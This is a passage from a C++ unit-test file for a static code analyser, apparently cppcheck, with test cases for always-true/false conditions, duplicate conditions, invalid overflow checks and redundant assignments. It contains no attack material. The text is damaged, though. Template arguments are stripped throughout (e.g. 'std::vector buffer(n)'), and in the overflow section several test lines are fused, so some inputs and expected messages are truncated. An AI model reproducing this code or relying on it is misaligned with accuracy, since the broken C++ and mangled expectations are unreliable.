errout_str());\n\n // #11303\n check(\"void f(int n) {\\n\"\n \" std::vector buffer(n);\\n\"\n \" if(buffer.back() == 0 ||\\n\"\n \" buffer.back() == '\\\\n' ||\\n\"\n \" buffer.back() == '\\\\0') {}\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Condition 'buffer.back()=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (style) Condition 'buffer.back()=='\\\\0'' is always false\\n\", errout_str());\n }\n\n // #9353\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", \"\", errout_str());\n\n // #10508\n check(\"bool f(const std::string& a, const std::string& b) {\\n\"\n \" return a.empty() || (b.empty() && a.empty());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:2:46]: (style) Return value 'a.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" struct iterator;\\n\"\n \" iterator begin() const;\\n\"\n \" iterator end() const;\\n\"\n \"};\\n\"\n \"A g();\\n\"\n \"void f(bool b) {\\n\"\n \" std::set s;\\n\"\n \" auto v = g();\\n\"\n \" s.insert(v.begin(), v.end());\\n\"\n \" if(!b && s.size() != 1)\\n\"\n \" return;\\n\"\n \" if(!s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::string s) {\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" s += '\\\\n';\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(std::string& p) {\\n\"\n \" const std::string d{ \\\"abc\\\" };\\n\"\n \" p += d;\\n\"\n \" if(p.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (style) Condition 'p.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int i, FILE* fp) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" s += std::to_string(i);\\n\"\n \" s += \\\"\\\\n\\\";\\n\"\n \" return fwrite(s.c_str(), 1, s.length(), fp) == s.length();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #9148\n \" if (s.empty() || s.size() < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:2:31]: (style) Condition 's.size()<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void bar(std::vector& vv) {\\n\" // #11464\n \" class F {\\n\"\n \" public:\\n\"\n \" F(int, std::vector& lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" private:\\n\"\n \" std::vector& mV;\\n\"\n \" } fi(1, vv);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::vector v;\\n\"\n \" bar(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct F {\\n\"\n \" F(int, std::vector&lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" std::vector& mV;\\n\"\n \"};\\n\"\n \"void g(std::vector& vv) {\\n\"\n \" F(1, vv);\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" g(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueLoop()\n {\n check(\"long foo() {\\n\"\n \" bool bUpdated = false;\\n\"\n \" long Ret{};\\n\"\n \" do {\\n\"\n \" Ret = bar();\\n\"\n \" if (Ret == 0) {\\n\"\n \" if (bUpdated)\\n\"\n \" return 1;\\n\"\n \" bUpdated = true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" bUpdated = false;\\n\"\n \" }\\n\"\n \" while (bUpdated);\\n\"\n \" return Ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo() {\\n\"\n \" bool bFirst = true;\\n\"\n \" do {\\n\"\n \" if (bFirst)\\n\"\n \" bar();\\n\"\n \" if (baz())\\n\"\n \" break; \\n\"\n \" bFirst = false;\\n\"\n \" } while (true);\\n\"\n \" return bFirst;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void * pool = NULL;\\n\"\n \" do {\\n\"\n \" pool = malloc(40);\\n\"\n \" if (dostuff())\\n\"\n \" break;\\n\"\n \" pool = NULL;\\n\"\n \" }\\n\"\n \" while (0);\\n\"\n \" if (pool) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8499\n check(\"void f(void)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < 2; ++i)\\n\"\n \" {\\n\"\n \" for (int j = 0; j < 8; ++j)\\n\"\n \" {\\n\"\n \" if ( (i==0|| i==1)\\n\" // << always true\n \" && (j==0) )\\n\"\n \" {;}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:20] -> [test.cpp:7:27]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10863\n check(\"void f(const int A[], int Len) {\\n\"\n \" if (Len <= 0)\\n\"\n \" return;\\n\"\n \" int I = 0;\\n\"\n \" while (I < Len) {\\n\"\n \" int K = I + 1;\\n\"\n \" for (; K < Len; K++) {\\n\"\n \" if (A[I] != A[K])\\n\"\n \" break;\\n\"\n \" } \\n\"\n \" I = K; \\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11434\n \" const int N = 5;\\n\"\n \" bool a[N];\\n\"\n \" for (int i = 0; i < N; a[i++] = false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8192\n \" for (int i = 0; i > 10; ++i) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Condition 'i>10' is always false\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int i = 1000; i < 20; ++i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Condition 'i<20' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int foo(int foo, int bar, bool baz, bool flag) {\\n\"\n \" if (baz && flag) {\\n\"\n \" do {\\n\"\n \" if (bar==42)\\n\"\n \" return 0;\\n\"\n \" } while (flag);\\n\"\n \" }\\n\"\n \" return foo;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:6:18]: (style) Condition 'flag' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueTryCatch()\n {\n check(\"void g();\\n\"\n \"void f(int x)\\n\"\n \"{\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \" catch(...) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" g();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void h();\\n\"\n \"void f(int x) {\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" catch( ... ) {}\\n\"\n \" }\\n\"\n \" h();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10701\n \" std::string s;\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" s = g();\\n\"\n \" }\\n\"\n \" catch (const Err& err) {}\\n\"\n \" }\\n\"\n \" catch (const std::exception& e) {}\\n\"\n \" if (s != \\\"abc\\\") {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void multiConditionAlwaysTrue() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if (val > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val > 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Condition 'activate' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) Condition 'foo' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6904\n check(\"void f() {\\n\"\n \" const int b[2] = { 1,0 };\\n\"\n \" if(b[1] == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'b[1]==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9878\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && b){;}\\n\"\n \" else if (!a && b){;}\\n\"\n \" else if (!a && !b){;}\\n\"\n \" else {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateCondition() {\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:3:8]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:10]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x != 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" g();\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) { x++; }\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8996\n check(\"void g(int** v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" int* d[] = {&a, &b};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9311\n check(\"struct c {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(struct c* v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" struct c d[] = {{&a}, {&b}};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8993\n check(\"void f(const std::string& x) {\\n\"\n \" auto y = x;\\n\"\n \" if (x.empty()) y = \\\"1\\\";\\n\"\n \" if (y.empty()) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9106\n check(\"struct A {int b;};\\n\"\n \"void f(A a, int c) {\\n\"\n \" if (a.b) a.b = c;\\n\"\n \" if (a.b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void c();\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" c();\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" a = 2;\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:9:14]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" auto g = [&] { b = !a; };\\n\"\n \" if (b)\\n\"\n \" g();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool& a);\\n\"\n \"void f(bool b) {\\n\"\n \" auto h = std::bind(&g, std::ref(b));\\n\"\n \" if (b)\\n\"\n \" h();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *i) {\\n\"\n \" if (*i == 0) {\\n\"\n \" *i = 1;\\n\"\n \" }\\n\"\n \" if (*i == 0) {\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(std::function);\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto x = [&v] { v.push_back(1); };\\n\"\n \" if(v.empty()) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \" if(v.empty())\\n\"\n \" return;\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(const S& s) {\\n\"\n \" int a = 0, b = 0;\\n\"\n \" if (s.i == 0)\\n\"\n \" a = 1;\\n\"\n \" if (s.i == 0)\\n\"\n \" b = 1;\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:13]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"void f(double d) {\\n\" // #12712\n \" if (std::isfinite(d)) {}\\n\"\n \" if (std::isfinite(d)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:22]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #12391\n \"int f(const struct S* a, const struct S* b) {\\n\"\n \" const struct S* p = b;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" return p->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // do not crash\n check(\"void assign(const MMA& other) {\\n\"\n \" if (mPA.cols != other.mPA.cols || mPA.rows != other.mPA.rows)\\n\"\n \" ;\\n\"\n \" if (other.mPA.cols > 0 && other.mPA.rows > 0)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #11202\n \" float f = 0x1.4p+3;\\n\"\n \" if (f > 10.0) {}\\n\"\n \" if (f < 10.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidTestForOverflow() {\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert((p + x) < p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)= p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)>=p'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p > (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p>(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always false. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p <= (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p<=(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(signed int x) {\\n\" // unsigned overflow => don't warn\n \" assert(x + 100U < x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // x + c < x\n\n#define MSG(EXPR, RESULT) \"[test.cpp:1:30]: (warning) Invalid test for overflow '\" EXPR \"'; signed integer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always \" RESULT \". [invalidTestForOverflow]\\n\"\n\n check(\"int f(int x) { return x + 10 > x; }\");\n ASSERT_EQUALS(MSG(\"x+10>x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x+10>=x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x+10 x; }\");\n ASSERT_EQUALS(MSG(\"x-10>x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x-10>=x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x-10 x; }\");\n ASSERT_EQUALS(MSG(\"x+y>x\", \"y>0\"), errout_str());\n\n check(\"int f(int x, int y) { return x + y >= x; }\");\n ASSERT_EQUALS(MSG(\"x+y>=x\", \"y>=0\"), errout_str());\n\n // x - y < x\n check(\"int f(int x, int y) { return x - y < x; }\");\n ASSERT_EQUALS(MSG(\"x-y0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y <= x; }\");\n ASSERT_EQUALS(MSG(\"x-y<=x\", \"y>=0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y > x; }\");\n ASSERT_EQUALS(MSG(\"x-y>x\", \"y<0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y >= x; }\");\n ASSERT_EQUALS(MSG(\"x-y>=x\", \"y<=0\"), errout_str());\n }\n\n void checkConditionIsAlwaysTrueOrFalseInsideIfWhile() {\n check(\"void f() {\\n\"\n \" enum states {A,B,C};\\n\"\n \" const unsigned g_flags = B|C;\\n\"\n \" if(g_flags & A) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) Condition 'g_flags&A' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" if(a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { a--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (style) Condition 'a+1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueFalseInLogicalOperators() {\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = true; if(x||b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(true||b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = false; if(x&&b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(false&&b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9578\n check(\"bool f(const std::string &s) {\\n\"\n \" return s.size()>2U && s[0]=='4' && s[0]=='2';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:35] -> [test.cpp:2:48]: (style) Return value 's[0]=='2'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) { if (i == 1 || 2) {} }\\n\"); // #12487\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Condition 'i==1||2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"enum E { E1 = 1, E2 = 2 };\\n\"\n \"void f(int i) { if (i == E1 || E2) {} }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:29]: (style) Condition 'i==E1||E2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void pointerAdditionResultNotNull() {\n check(\"void f(char *ptr) {\\n\"\n \" if (ptr + 1 != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison is wrong. Result of 'ptr+1' can't be 0 unless there is pointer overflow, and pointer overflow is undefined behaviour. [pointerAdditionResultNotNull]\\n\", errout_str());\n }\n\n void duplicateConditionalAssign() {\n setMultiline();\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The statement 'if (x!=y) x=y' is logically equivalent to 'x=y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y'\\n\"\n \"[test.cpp:2:11]: note: Condition 'x!=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f(int& x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" x = y;\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" b = false;\\n\"\n \" else\\n\"\n \" g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" if (!i)\\n\"\n \" i = 1; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #9406\n \" S() : b(false) {}\\n\"\n \" void f() {\\n\"\n \" if (b) b = true;\\n\"\n \" if (b) b = false;\\n\"\n \" if (!b) b = true;\\n\"\n \" if (!b) b = false;\\n\"\n \" }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: style: The statement 'if (b) b=true' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:4:18]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:4:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:5:13]: style: The statement 'if (b) b=false' is logically equivalent to 'b=false'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:5:18]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:5:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:6:13]: style: The statement 'if (!b) b=true' is logically equivalent to 'b=true'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:6:19]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:6:13]: note: Condition '!b' is redundant\\n\"\n \"[test.cpp:7:13]: style: The statement 'if (!b) b=false' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:7:19]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:7:13]: note: Condition '!b' is redundant\\n\",\n errout_str());\n }\n\n void checkAssignmentInCondition() {\n check(\"void f(std::string s) {\\n\"\n \" if (s=\\\"123\\\"){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Suspicious assignment in condition. Condition 's=\\\"123\\\"' is always true. [assignmentInCondition]\\n\", errout_str());\n\n check(\"void f(std::string *p) {\\n\"\n \" if (p=foo()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(uint32_t u) {\\n\" // #2490\n \" if ((u = 0x00000000) || (u = 0xffffffff)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Condition 'u=0x00000000' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:32]: (style) Condition 'u=0xffffffff' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void compareOutOfTypeRange() {\n const Settings settingsUnix64 = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char* b, int i) {\\n\" // #6372\n \" if (b[i] == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 255) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) 